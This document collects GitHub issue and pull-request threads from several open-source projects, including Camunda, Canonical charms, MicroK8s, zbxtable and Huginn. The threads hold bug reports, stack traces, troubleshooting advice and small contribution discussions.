Deployment tool sometimes throws TypeError: Cannot read property 'endpoint' of undefined

Describe the Bug
Sentry Issue: CAMUNDA-MODELER-6S
TypeError: Cannot read property 'endpoint' of undefined
  at Object.removeCredentials (./src/plugins/camunda-plugin/deployment-tool/DeploymentTool.js:232:25)

Steps to Reproduce
This has to be investigated. I suspect that it might happen for specific saved configuration.
Expected Behavior
No errors.
Environment
See linked sentry issue.

I was able to reproduce it with the following steps

Create new diagram (no deployment config saved so far)
Open deploy dialog
Immediately close it
Error pops up in Console

Closed via https://github.com/camunda/camunda-modeler/commit/46d99c200ada4935f1ef907cace6bda26a400305

authors: barmac pinussilvestrus

repo: camunda/camunda-modeler


text:
Add optimize to helm charts

This PR contains:

Add a new sub-chart for optimize (most resources were copied from Tasklist/Operate)
Add default values to the values.yaml file
Integrate Optimize with Identity (add configuration on both sides)
Disable optimize if identity authentication is disabled
Add template tests

Manual testing:
After installing we see:

Doing the necessary port-forwards we can login

Next Steps:

We have to solve the issue with the partition count, which is necessary for Optimize #286

Per default optimize will now only import for one partition

We will add the values documented to the README #284
We will enhance our e2e/integration test - login to optimize #283

Reviewers:
I know it looks like an big PR, but most of the lines are due to tests and golden files, which you can skip. :)
@oleschoenburg @npepinpe whoever has more time please have a look at the PR
@RomanJRW could you please check the configuration to whether this makes sense in your opinion?
related to #126

Thanks @npepinpe and @RomanJRW for your time and review :+1: I applied all review hints and will now happily merge this :)

repo: camunda/camunda-platform-helm


text:
Typo:  Update 2022-12-21-le-projet-orientation.md

Just a typo

Please review and merge.  Thank you.

repo: canada-ca/blogue-canada-ca-blog


text:
zbxtable.service failed

zbxtable.service failed. let me know what is the issue.

Please provide zbxtable.log.

no log
[root@zabbix conf]# systemctl status zbxtable
● zbxtable.service - zbxtable
Loaded: loaded (/usr/lib/systemd/system/zbxtable.service; disabled; vendor preset: disabled)
Active: failed (Result: exit-code) since 五 2020-11-13 16:35:16 CST; 3s ago
Process: 16672 ExecStart=/bin/bash -c /usr/local/zbxtable/zbxtable web (code=exited, status=2)
Main PID: 16672 (code=exited, status=2)

@pancq  look the /var/log/messages，have some error。

@canghai908 数据库用户名和密码都没有错误
Nov 13 19:14:59 zabbix systemd: Started zbxtable.
Nov 13 19:15:00 zabbix bash: [ORM]2020/11/13 19:15:00 register db Ping default, Error 1045: Access denied for user 'zbxtable'@'::1' (using password: YES)
Nov 13 19:15:00 zabbix bash: must have one register DataBase alias named default
Nov 13 19:15:00 zabbix bash: goroutine 1 [running]:
Nov 13 19:15:00 zabbix bash: runtime/debug.Stack(0x36, 0x0, 0x0)
Nov 13 19:15:00 zabbix bash: /usr/local/go/src/runtime/debug/stack.go:24 +0x9d
Nov 13 19:15:00 zabbix bash: runtime/debug.PrintStack()
Nov 13 19:15:00 zabbix bash: /usr/local/go/src/runtime/debug/stack.go:16 +0x22
Nov 13 19:15:00 zabbix bash: github.com/astaxie/beego/orm.bootStrap()
Nov 13 19:15:00 zabbix bash: /home/mygo/pkg/mod/github.com/astaxie/beego@v1.12.2/orm/models_boot.go:302 +0x487
Nov 13 19:15:00 zabbix bash: github.com/astaxie/beego/orm.BootStrap()
Nov 13 19:15:00 zabbix bash: /home/mygo/pkg/mod/github.com/astaxie/beego@v1.12.2/orm/models_boot.go:345 +0x8e
Nov 13 19:15:00 zabbix bash: github.com/astaxie/beego/orm.RunSyncdb(0xe77b97, 0x7, 0x100, 0x5, 0xc000208000)
Nov 13 19:15:00 zabbix bash: /home/mygo/pkg/mod/github.com/astaxie/beego@v1.12.2/orm/cmd.go:273 +0x26
Nov 13 19:15:00 zabbix bash: github.com/canghai908/zbxtable/models.ModelsInit()
Nov 13 19:15:00 zabbix bash: /var/lib/jenkins/workspace/zbxtable-rpm-centos7/models/base.go:41 +0x3cb
Nov 13 19:15:00 zabbix bash: github.com/canghai908/zbxtable/cmd.runWeb(0xc0001fcf20)
Nov 13 19:15:00 zabbix bash: /var/lib/jenkins/workspace/zbxtable-rpm-centos7/cmd/web.go:29 +0xa3
Nov 13 19:15:00 zabbix bash: github.com/urfave/cli.HandleAction(0xcfb6a0, 0xec2560, 0xc0001fcf20, 0xc0001fcf20, 0x0)
Nov 13 19:15:00 zabbix bash: /home/mygo/pkg/mod/github.com/urfave/cli@v1.22.4/app.go:528 +0x7c
Nov 13 19:15:00 zabbix bash: github.com/urfave/cli.Command.Run(0xe73706, 0x3, 0x0, 0x0, 0x0, 0x0, 0x0, 0xe81755, 0x10, 0x0, ...)
Nov 13 19:15:00 zabbix bash: /home/mygo/pkg/mod/github.com/urfave/cli@v1.22.4/command.go:174 +0x57a
Nov 13 19:15:00 zabbix bash: github.com/urfave/cli.(*App).Run(0xc0000cda40, 0xc00000e080, 0x2, 0x2, 0x0, 0x0)
Nov 13 19:15:00 zabbix bash: /home/mygo/pkg/mod/github.com/urfave/cli@v1.22.4/app.go:279 +0x7c7
Nov 13 19:15:00 zabbix bash: main.main()
Nov 13 19:15:00 zabbix bash: /var/lib/jenkins/workspace/zbxtable-rpm-centos7/zbxtable.go:39 +0x16a
Nov 13 19:15:00 zabbix systemd: zbxtable.service: main process exited, code=exited, status=2/INVALIDARGUMENT
Nov 13 19:15:00 zabbix systemd: Unit zbxtable.service entered failed state.
Nov 13 19:15:00 zabbix systemd: zbxtable.service failed.
Nov 13 19:14:59 zabbix systemd: Started zbxtable.
Nov 13 19:15:00 zabbix bash: [ORM]2020/11/13 19:15:00 register db Ping default, Error 1045: Access denied for user 'zbxtable'@'::1' (using password: YES)
Nov 13 19:15:00 zabbix bash: must have one register DataBase alias named default
Nov 13 19:15:00 zabbix bash: goroutine 1 [running]:
Nov 13 19:15:00 zabbix bash: runtime/debug.Stack(0x36, 0x0, 0x0)
Nov 13 19:15:00 zabbix bash: /usr/local/go/src/runtime/debug/stack.go:24 +0x9d
Nov 13 19:15:00 zabbix bash: runtime/debug.PrintStack()
Nov 13 19:15:00 zabbix bash: /usr/local/go/src/runtime/debug/stack.go:16 +0x22
Nov 13 19:15:00 zabbix bash: github.com/astaxie/beego/orm.bootStrap()
Nov 13 19:15:00 zabbix bash: /home/mygo/pkg/mod/github.com/astaxie/beego@v1.12.2/orm/models_boot.go:302 +0x487
Nov 13 19:15:00 zabbix bash: github.com/astaxie/beego/orm.BootStrap()
Nov 13 19:15:00 zabbix bash: /home/mygo/pkg/mod/github.com/astaxie/beego@v1.12.2/orm/models_boot.go:345 +0x8e
Nov 13 19:15:00 zabbix bash: github.com/astaxie/beego/orm.RunSyncdb(0xe77b97, 0x7, 0x100, 0x5, 0xc000208000)
Nov 13 19:15:00 zabbix bash: /home/mygo/pkg/mod/github.com/astaxie/beego@v1.12.2/orm/cmd.go:273 +0x26
Nov 13 19:15:00 zabbix bash: github.com/canghai908/zbxtable/models.ModelsInit()
Nov 13 19:15:00 zabbix bash: /var/lib/jenkins/workspace/zbxtable-rpm-centos7/models/base.go:41 +0x3cb
Nov 13 19:15:00 zabbix bash: github.com/canghai908/zbxtable/cmd.runWeb(0xc0001fcf20)
Nov 13 19:15:00 zabbix bash: /var/lib/jenkins/workspace/zbxtable-rpm-centos7/cmd/web.go:29 +0xa3
Nov 13 19:15:00 zabbix bash: github.com/urfave/cli.HandleAction(0xcfb6a0, 0xec2560, 0xc0001fcf20, 0xc0001fcf20, 0x0)
Nov 13 19:15:00 zabbix bash: /home/mygo/pkg/mod/github.com/urfave/cli@v1.22.4/app.go:528 +0x7c
Nov 13 19:15:00 zabbix bash: github.com/urfave/cli.Command.Run(0xe73706, 0x3, 0x0, 0x0, 0x0, 0x0, 0x0, 0xe81755, 0x10, 0x0, ...)
Nov 13 19:15:00 zabbix bash: /home/mygo/pkg/mod/github.com/urfave/cli@v1.22.4/command.go:174 +0x57a
Nov 13 19:15:00 zabbix bash: github.com/urfave/cli.(*App).Run(0xc0000cda40, 0xc00000e080, 0x2, 0x2, 0x0, 0x0)
Nov 13 19:15:00 zabbix bash: /home/mygo/pkg/mod/github.com/urfave/cli@v1.22.4/app.go:279 +0x7c7
Nov 13 19:15:00 zabbix bash: main.main()
Nov 13 19:15:00 zabbix bash: /var/lib/jenkins/workspace/zbxtable-rpm-centos7/zbxtable.go:39 +0x16a
Nov 13 19:15:00 zabbix systemd: zbxtable.service: main process exited, code=exited, status=2/INVALIDARGUMENT
Nov 13 19:15:00 zabbix systemd: Unit zbxtable.service entered failed state.
Nov 13 19:15:00 zabbix systemd: zbxtable.service failed.

问题很显然，Nov 13 19:15:00 zabbix bash: [ORM]2020/11/13 19:15:00 register db Ping default, Error 1045: Access denied for user 'zbxtable'@'::1' (using password: YES)  这里配置的 数据库帐号密码有问题，帐号授权必须按照文档里的授权操作。

authors: canghai908 littleheart pancq


text:
Update CoreDNS version to 1.11.3

Update coredns to 1.11.3

Merged with #17 instead, thanks.

authors: addyess berkayoz

repo: canonical/coredns-rock


text:
Error raised when removing trusted-certificate relation

Steps to reproduce

Deploy this bundle file
failing-bundle.txt
juju relate kafka-k8s:trusted-certificate mtls
juju remove-relation kafka-k8s mtls

Expected behavior
The relation is removed and the certificate is remove from the trust-store of the broker
Actual behavior
An error is raised on relation removal:
unit-kafka-k8s-0: 00:00:06 WARNING unit.kafka-k8s/0.juju-log trusted-certificate:12: keytool error: java.lang.Exception: Alias <mtls-12> does not exist
java.lang.Exception: Alias <mtls-12> does not exist
        at java.base/sun.security.tools.keytool.Main.doDeleteEntry(Main.java:1677)
        at java.base/sun.security.tools.keytool.Main.doCommands(Main.java:1164)
        at java.base/sun.security.tools.keytool.Main.run(Main.java:423)
        at java.base/sun.security.tools.keytool.Main.main(Main.java:416)

unit-kafka-k8s-0: 00:00:06 ERROR unit.kafka-k8s/0.juju-log trusted-certificate:12: Uncaught exception while in charm code:
Traceback (most recent call last):
  File "/var/lib/juju/agents/unit-kafka-k8s-0/charm/./src/charm.py", line 320, in <module>
    main(KafkaCharm)
  File "/var/lib/juju/agents/unit-kafka-k8s-0/charm/venv/ops/main.py", line 456, in main
    _emit_charm_event(charm, dispatcher.event_name)
  File "/var/lib/juju/agents/unit-kafka-k8s-0/charm/venv/ops/main.py", line 144, in _emit_charm_event
    event_to_emit.emit(*args, **kwargs)
  File "/var/lib/juju/agents/unit-kafka-k8s-0/charm/venv/ops/framework.py", line 351, in emit
    framework._emit(event)
  File "/var/lib/juju/agents/unit-kafka-k8s-0/charm/venv/ops/framework.py", line 853, in _emit
    self._reemit(event_path)
  File "/var/lib/juju/agents/unit-kafka-k8s-0/charm/venv/ops/framework.py", line 943, in _reemit
    custom_handler(event)
  File "/var/lib/juju/agents/unit-kafka-k8s-0/charm/src/events/tls.py", line 231, in _trusted_relation_broken
    all_relations.remove(event.relation)
ValueError: list.remove(x): x not in list

Versions

Operating system: Ubuntu 22.04

Juju CLI: 3.1.7

Juju agent: 3.1.7

Charm revision: 49

microk8s: 1.29-strict/stable

The same problem appears also on the trusted-ca relation. The procedure above can be slightly changed to relate on the trusted-ca endpoint instead, with the same outcome


text:
new node fails to join cluster - missing file

Summary
New node fails to join cluster - errors due to a missing file.
What Should Happen Instead?
Great to get it to join the cluster.
Reproduction Steps
$ sudo microk8s join 10.246.114.14:25000/8d9f10255dddc6a8eb7e3b108c3b7e2c/af562a782d00
Contacting cluster at 10.246.114.14
Traceback (most recent call last):
  File "/snap/microk8s/5222/scripts/wrappers/join.py", line 980, in <module>
    join(prog_name="microk8s join")
  File "/snap/microk8s/5222/usr/lib/python3/dist-packages/click/core.py", line 722, in __call__
    return self.main(*args, **kwargs)
  File "/snap/microk8s/5222/usr/lib/python3/dist-packages/click/core.py", line 697, in main
    rv = self.invoke(ctx)
  File "/snap/microk8s/5222/usr/lib/python3/dist-packages/click/core.py", line 895, in invoke
    return ctx.invoke(self.callback, **ctx.params)
  File "/snap/microk8s/5222/usr/lib/python3/dist-packages/click/core.py", line 535, in invoke
    return callback(*args, **kwargs)
  File "/snap/microk8s/5222/scripts/wrappers/join.py", line 973, in join
    join_dqlite(connection_parts, verify, worker)
  File "/snap/microk8s/5222/scripts/wrappers/join.py", line 768, in join_dqlite
    join_dqlite_master_node(info, master_ip, token)
  File "/snap/microk8s/5222/scripts/wrappers/join.py", line 881, in join_dqlite_master_node
    update_dqlite(info["cluster_cert"], info["cluster_key"], info["voters"], hostname_override)
  File "/snap/microk8s/5222/scripts/wrappers/join.py", line 693, in update_dqlite
    with open("{}/info.yaml".format(cluster_backup_dir)) as f:
FileNotFoundError: [Errno 2] No such file or directory: '/var/snap/microk8s/5222/var/kubernetes/backend.backup/info.yaml'

Introspection Report
See bug #4010 for the inspect tarball from the bootstrap node.

This looks like the second MicroK8s has not yet had time to bootstrap itself. Can you check if adding a
microk8s status --wait-ready --timeout=10

helps with the issue?

authors: javacruft neoaggelos


text:
Ingress requires unit tests

Add unit tests for IngressRequires

Looks really good! I see we still don't have CI/CD for this charm in place and am wondering whether we shouldn't add it?

Yes we should, this charm has previously been cited as lower priority, I'll add a Jira story for the CI/CD for it


text:
Landscape: How to install Landscape Server on Microsoft Azure

Write a how-to guide describing how to install Landscape Server on Microsoft Azure. Please review our guide on how to install Landscape Server on Google Cloud before you ask to be assigned to this issue. Your how-to guide should be similar to the Google Cloud guide, but for Azure.
You should provide the entry as a Markdown file and put it in this file path: /landscape/how-to/install-landscape-server-on-microsoft-azure.md . If any directories are missing, add them so your file path matches the one provided.
Prerequisites
You should have experience with Azure and installing Landscape Server.
See also: Contribute to our documentation

Hi @YanisaHS, I have created a PR for this issue.  Tried to keep the how-to guide to be a similar structure to the Google Cloud guide.

Hey @MikeT-gh! That's awesome - thanks so much for your contribution! :partying_face: I will go through your PR soon and leave comments.
Also, in the future, you should comment on the issue first and wait to be assigned before working on it (see the comments in this closed issue for an example). It's not a problem that you didn't ask to be assigned first here - I actually forgot to put that in the issue description so that one's on me :blush:. I've assigned it to you now. Getting it assigned before you start work is just so multiple people aren't working on it at the same time.

Hi @YanisaHS , OK I will do that in the future.  Thank you.

@MikeT-gh Just wanted to give you a heads up - I've asked a couple other people at Canonical who are more familiar with Azure than me to review the Azure steps in your PR. You're completely welcome to address their comments if you want to :smiley: But it's not an expectation. I'll monitor their comments as well and I'll tag you on anything that I expect you to address.

Hi @YanisaHS, that is great to have multiple people review the guide. Thank you for the heads up.

authors: MikeT-gh YanisaHS

repo: canonical/open-documentation-academy


text:
Create test_remove_relation

add a test function to remove the relation and if charm in block state asert true. it first deploy the charm , add the relation and than remove the relation to check if the charm appear in block state .
It is part of onboarding discussion

I want to improve the function and wil create another PULL request

repo: canonical/prometheus-edge-hub-operator


text:
test-branch/execute-job/comment-from-wrong-user-on-pr/8c0eda2b-ed21-4546-9bca-de84d580ff27

PR for testing c590a64d6934b7d9a86c2ced1d0d63944c63a292

/canonical/self-hosted-runners/run-workflows c590a64d6934b7d9a86c2ced1d0d63944c63a292

repo: canonical/repo-policy-compliance-tests


text:
test-branch/execute-job/quoted-authorization/ec3a585a-8b54-4571-81b5-fd95c42d5b1b

PR for testing 7814df3ce3e6da81ee44dcb4858c99b51eb8a4b6

/canonical/self-hosted-runners/run-workflows 7814df3ce3e6da81ee44dcb4858c99b51eb8a4b6


text:
test-branch/execute-job/fork-branch/81a51373-f117-419e-b15e-a5eb17341ba7

PR for testing 827da1bc8b5c6b509c4a837442e98ba31b9a48bf

padding /canonical/self-hosted-runners/run-workflows 827da1bc8b5c6b509c4a837442e98ba31b9a48bf padding


text:
test-branch/execute-job/fork-branch/1c2b3a43-6437-480b-aa78-ea29ad0776f5

PR for testing 305e1e05dff69734a9450d4a6ac0a77d66cf2a63

padding /canonical/self-hosted-runners/run-workflows 305e1e05dff69734a9450d4a6ac0a77d66cf2a63 padding


text:
Huginn on Heroku: change from Sendgrid to own mailserver

Hi there, I did deploy Huginn on Heroku, and took the sendgrid option just to test everything. Now, as I installed some agents and everything works fine, I want to get rid of Sendgrid and use my own mail server. But I couldn't find a .env file in the Huginn directory at Heroku where I could change the SMTP-details. Maybe I'm on the wrong track. Could someone tell me what to do?

Hey @MartinButter, welcome! You'll need to use the heroku config command on the console to change ENV settings in Heroku.  See the wiki for some more info about this, and please let me know if you run into any issues.

Thank you! Did'nt get that heroku config is a console command before. Now everything works fine! Huginn is really amazing and helps me a lot.

Awesome!

authors: MartinButter cantino

repo: cantino/huginn


text:
requiring twitter_stream in threaded worker fixes ArgumentError

The threaded worker threw 'A copy of TwitterStream has been removed from the module tree but is still active!' when running in development, explicitly requiring 'twitter_stream' fixes that exception.

Coverage decreased (-0.18%) to 88.5% when pulling 582db447914df9819a1f9c340c68ed278f02f23c on dsander:fix-class-reloading into efb0cb57d52545446f5b4fac3f1180ac35d602ba on cantino:master.

Coverage decreased (-0.18%) to 88.5% when pulling 582db447914df9819a1f9c340c68ed278f02f23c on dsander:fix-class-reloading into efb0cb57d52545446f5b4fac3f1180ac35d602ba on cantino:master.

Coverage decreased (-0.18%) to 88.5% when pulling 582db447914df9819a1f9c340c68ed278f02f23c on dsander:fix-class-reloading into efb0cb57d52545446f5b4fac3f1180ac35d602ba on cantino:master.

LGTM!

I'm still seeing this locally.  Do you have any other ideas about how to solve it?

Strange, maybe we should set cache_classes = true?

That did fix it.  Do you understand why it'd be happening?  The require 'twitter_stream' that you added didn't seem to be sufficient.

I thought we added Rails.configuration.cache_classes = true to the top of threaded.rb, but I'm not seeing that.  Any reason not to add it?

I did not add it because I am pretty sure the require fixed the issue for me. The require felt like a cleaner fix, but I see no harm in setting cache_classes = false. In fact I had problems without it today while working on the AgentRunner (got an exception similar to #792).

I think we should add Rails.configuration.cache_classes = true in the threaded part of the app.  Does that work in your new refactor?

Actually this is already done in the PR, but I probably should move it into the pre_runner_boot.rb file.

Nice :smile:

authors: cantino coveralls dsander


text:
Reduce Javet size

Can I reduce Javet size? Remove the Node.js and other unused components...

Yes, please check this doc out.

Thanks

@caoccao how can we reduce the packaged apk size for android? It's now 200mb overhead

authors: PyXiion blsites caoccao

repo: caoccao/Javet


text:
_. prefix in Functions section of docs

I noticed that everything in the Functions section (and the example for _.add) neglects the _. prefix. It seems out of place with everything else being prefixed by either _. or Stream.; is there a reason for this?

I don't see a real reason...probably just an oversight that never got fixed?

I don't see a reason either. +1

authors: LewisJEllis jeromew vqvu

repo: caolan/highland


text:
How to test in the browser using ionic serve

Sorry if I open an issue here. That is a question:
I'm experimenting with your plugin in an Ionic project. It could be very useful to test Bluetooth functionalities directly from my development laptop (which of course has bluetooth), from the browser. I mean starting ionic serve and going to http://localhost:8100/. I'm asking because I read that the plugin support Web Bluetooth and I'm on Chrome that should support this API.
Do you think it's possible or I have to test on a real Android device?
Thank you very much and keep up the good work!

Thanks for using this plugin.
Yes, testing your app with this plugin in Chrome is possible and should work just out of the box when running ionic serve.
There are a few things to note about Web Bluetooth (in general, not just in this plugin):

requestDevice "must be handling a user gesture to show a permission request". This means you have to use it e.g. in a click handler of a button, and probably cannot use it in something like ngOnInit.
requestLEScan is still experimental and behind a flag in Chrome, see here. Also it has a bug that makes it hard to use even if you enable the flag.

If you encounter any errors or problems, let me know.

Thanks for using this plugin.
Yes, testing your app with this plugin in Chrome is possible and should work just out of the box when running ionic serve.
There are a few things to note about Web Bluetooth (in general, not just in this plugin):

requestDevice "must be handling a user gesture to show a permission request". This means you have to use it e.g. in a click handler of a button, and probably cannot use it in something like ngOnInit.
requestLEScan is still experimental and behind a flag in Chrome, see here. Also it has a bug that makes it hard to use even if you enable the flag.

If you encounter any errors or problems, let me know.

Thank you very much! I needed to enable the "Experimental Web Platform features" in chrome:flags.
Now it's working!

Thank you very much! I needed to enable the "Experimental Web Platform features" in chrome:flags.
Now it's working!

authors: baxeico pwespi

repo: capacitor-community/bluetooth-le